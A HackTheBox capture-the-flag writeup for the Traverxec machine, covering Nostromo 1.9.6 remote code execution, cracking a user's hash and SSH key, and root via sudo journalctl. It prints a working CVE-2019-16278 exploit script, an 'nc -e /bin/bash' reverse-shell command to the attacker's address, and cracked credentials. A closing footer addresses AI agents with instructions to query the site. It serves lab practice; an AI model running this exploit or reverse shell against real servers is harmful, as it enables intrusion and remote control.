> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md).

# Traverxec HackTheBox Writeup

Traverxec HackTheBox Easy Linux machine writeup covering Nostromo Exploitation, Abusing Nostromo HomeDirs Configuration, Exploiting Journalctl (Privilege Escalation), with practical enumeration, explo

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**Skills:**

* Nostromo Exploitation
* Abusing Nostromo HomeDirs Configuration
* Exploiting Journalctl (Privilege Escalation)
  {% endhint %}

## Reconnaissance <a href="#reconnaissance" id="reconnaissance"></a>

**Workspace Setup:**

Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eca22ae2e632f87f6f641b263ff0d56bef901941%2Fimage%20(2403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN Connectivity Check**

Check VPN connectivity to ensure stable communication with the target machine.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3f7279e955ba6a64848ddbe3878b73b0bfef23b%2Fimage%20(2404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Open Port Discovery with Nmap:**

Enumerate open ports and export the results to the "allPorts" file in the Nmap directory:

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cb37509bd5468d5262ff1fbc7698e386ca54b67%2Fimage%20(2405).png?alt=media" alt=""><figcaption></figcaption></figure>

**Open Port Analysis with extractPorts:**

Use the extractPorts function to display open ports in a concise format and copy them to the clipboard.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8bb6ccc9689de78cf1e2485d1a2e5ba1ab6881%2Fimage%20(2406).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port Version Scan with Nmap:**

Use Nmap to scan service versions and save the output in the "targeted" file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7222dd192c490848caf65a7a02225726904bc4f%2Fimage%20(2407).png?alt=media" alt=""><figcaption></figcaption></figure>

To resolve domain names into IP addresses via DNS, insert the domain name associated with its IP address into the `/etc/hosts` file.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e210b2bbfa4b40ea507fbe021dcb3de554becd42%2F%7B80C4E6F1-B1A0-447E-AC4C-4F918462D536%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Port 80:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75707f4e9239c6d09f6dd5520b6a7a452a7c79af%2F%7B7EF12D3E-13E3-4CF6-8359-89892C20D858%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Using `whatweb`, we identify Nostromo version 1.9.6:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-088e9161fa995314522a1446412837281f71b1ba%2Fimage%20(2409).png?alt=media" alt=""><figcaption></figcaption></figure>

## Nostromo Exploitation

**Exploit Search**: On `searchploit`, find an RCE exploit for Nostromo 1.9.6 (CVE-2019-16278).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7b763a32f98f5e2977619392858be4657fad15c%2Fimage%20(2408).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Download the script on GitHub.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Script Execution**: Uses the following script to execute commands on the server

```python
import argparse
import socket

# Setup Argparse
parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE")
parser.add_argument("-t", "--target", help="Remote host to target")
parser.add_argument("-p", "--port", help="Remote port to target")
parser.add_argument("-c", "--command", help="Command to execute on the server")
parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response")

# Define and assign the variables
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Build and encode the payload
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Create the socket and send the payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Receive the response and close the socket
print(s.recv(1024).decode())  # Decode the bytes back to string for printing
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-033024af16e12fbfd8047ddba764013a75e3d527%2Fimage%20(2410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Reverse Shell Obtained**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdec712e9c5b41877737bad009275abac37bdaa5%2Fimage%20(2411).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal Improvement

To make the terminal interactive:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilege Escalation <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**Access to Nostromo Configuration Files**:

In the `nhttpd.conf` file, there is a directive indicating a file `.htpasswd` in `/var/nostromo/conf` which contains authentication information.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b100981988031d66ed0d47f6ac6309b3bcc1d79f%2Fimage%20(2412).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc29cfb5f17da098715b5c757806bf5461a94c6%2Fimage%20(2413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**Password Decryption**:

Use `john` to crack the password:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1ed22847a7918a05426900e0207f5a05ee29d39%2Fimage%20(2414).png?alt=media" alt=""><figcaption></figcaption></figure>

### Nostromo HomeDirs Configuration

{% hint style="info" %}
**Background:** Nostromo is configured to allow users to host web content in a specified home directory, often as `public_www` in their home directory (`/home/[user]/public_www`). This configuration allows users to access their own pages via a URL like `http://traverxec.htb/~[user]`.
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-242fc42effb5b210e9bbb71cb6665309ec13ff37%2Fimage%20(2415).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2ed348dc48ddb4c6a7fd0b33ae07b9e82276f3a%2Fimage%20(2416).png?alt=media" alt=""><figcaption></figcaption></figure>

Browsing this file, we also discover the mention of a `public_www` folder as the default location for users' web content.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bcea2b3dfc1d22983e4ad13b7d7b3af31fadf61%2Fimage%20(2417).png?alt=media" alt=""><figcaption></figcaption></figure>

Going to `http://traverxec.htb/~david` we find a hidden folder `protected-file-area` containing a file `.tgz`.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37689238b117466f6fdea808268c59d5317bc8bd%2F%7B90879795-388B-44B2-9028-CA16D112CAE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Downloading and Extracting Content:**

Download the `backup-ssh-identity-files.tgz` file:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e144dff2e7bddb6605b23290342d0beb5ea9403e%2F%7BFF58810F-36FF-466B-A751-D8B121742315%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Let's extract the contents to recover an SSH key:

`tar -xzf backup-ssh-identity-files.tgz`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-381f36b881b14f6f1ee7438927c9640bd28728ad%2Fimage%20(2418).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **SSH Key Decryption:**

The extracted SSH key is password protected. We use `ssh2john` to convert the key to the format usable by `john` and launch a brute force attack:

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2492919bf52def516b34b8c2eb3ffbfc13c28367%2F%7B5368B79E-2E0F-45B7-8896-89E2EADC84F9%7D.png?alt=media" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e55aabde216a35d71e3ea0e41d750058f903379%2Fimage%20(2419).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5133da9c42297e8e8c5f98f0335a4dc53fa0e42f%2Fimage%20(2420).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Password found: `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07aedad3a3c39ec61f5f7597c19239997d63d445%2Fimage%20(2421).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2cd9abd7676ecd19ae0e5ff5be89960a79c9542%2Fimage%20(2422).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Exploiting Journalctl:

{% hint style="info" %}
We found a script, `server-stats.sh`, in the `/bin` directory. This script is configured to run the `/usr/bin/journalctl` command with sudo privileges. This means we can exploit this command to gain root privileges
{% endhint %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c85d645312425f2066339222d0c88a04d34a92e8%2Fimage%20(1141).png?alt=media" alt=""><figcaption></figcaption></figure>

**Search for Vulnerability in GTFOBins:**

* Looking at GTFOBins, we discover that `journalctl` can be used to elevate privileges by issuing a shell command.

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c538ffed75cd2cf69914bc74acb001c051bd943a%2F%7B8538B02D-B4A2-4564-8B19-6F13D68A4D62%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Conditions of Execution:**

To trigger this exploitation, you must restrict the size of the terminal window in order to activate the `less` paging mode in `journalctl`. This mode allows you to execute shell commands via `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-412b84580d5e82a85cb399f39e5d6c6173c243f9%2Fimage%20(1142).png?alt=media" alt=""><figcaption></figcaption></figure>

Once in `less` mode, enter the following command to obtain a root shell:

```bash
!/bin/sh
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f99f5c62600d4373730c20c8f04620c369c6ee9%2Fimage%20(1143).png?alt=media" alt=""><figcaption></figcaption></figure>

### Flag root.txt :)

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2895872cab3ac8c09a0ed99c92cb86017d8e3ea%2Fimage%20(1144).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12f8f1ffd5171fbf08a0857a77568549eba1a7e6%2F%7BB46E9EDF-28EB-4C14-BBEA-7C138AEEEF6F%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
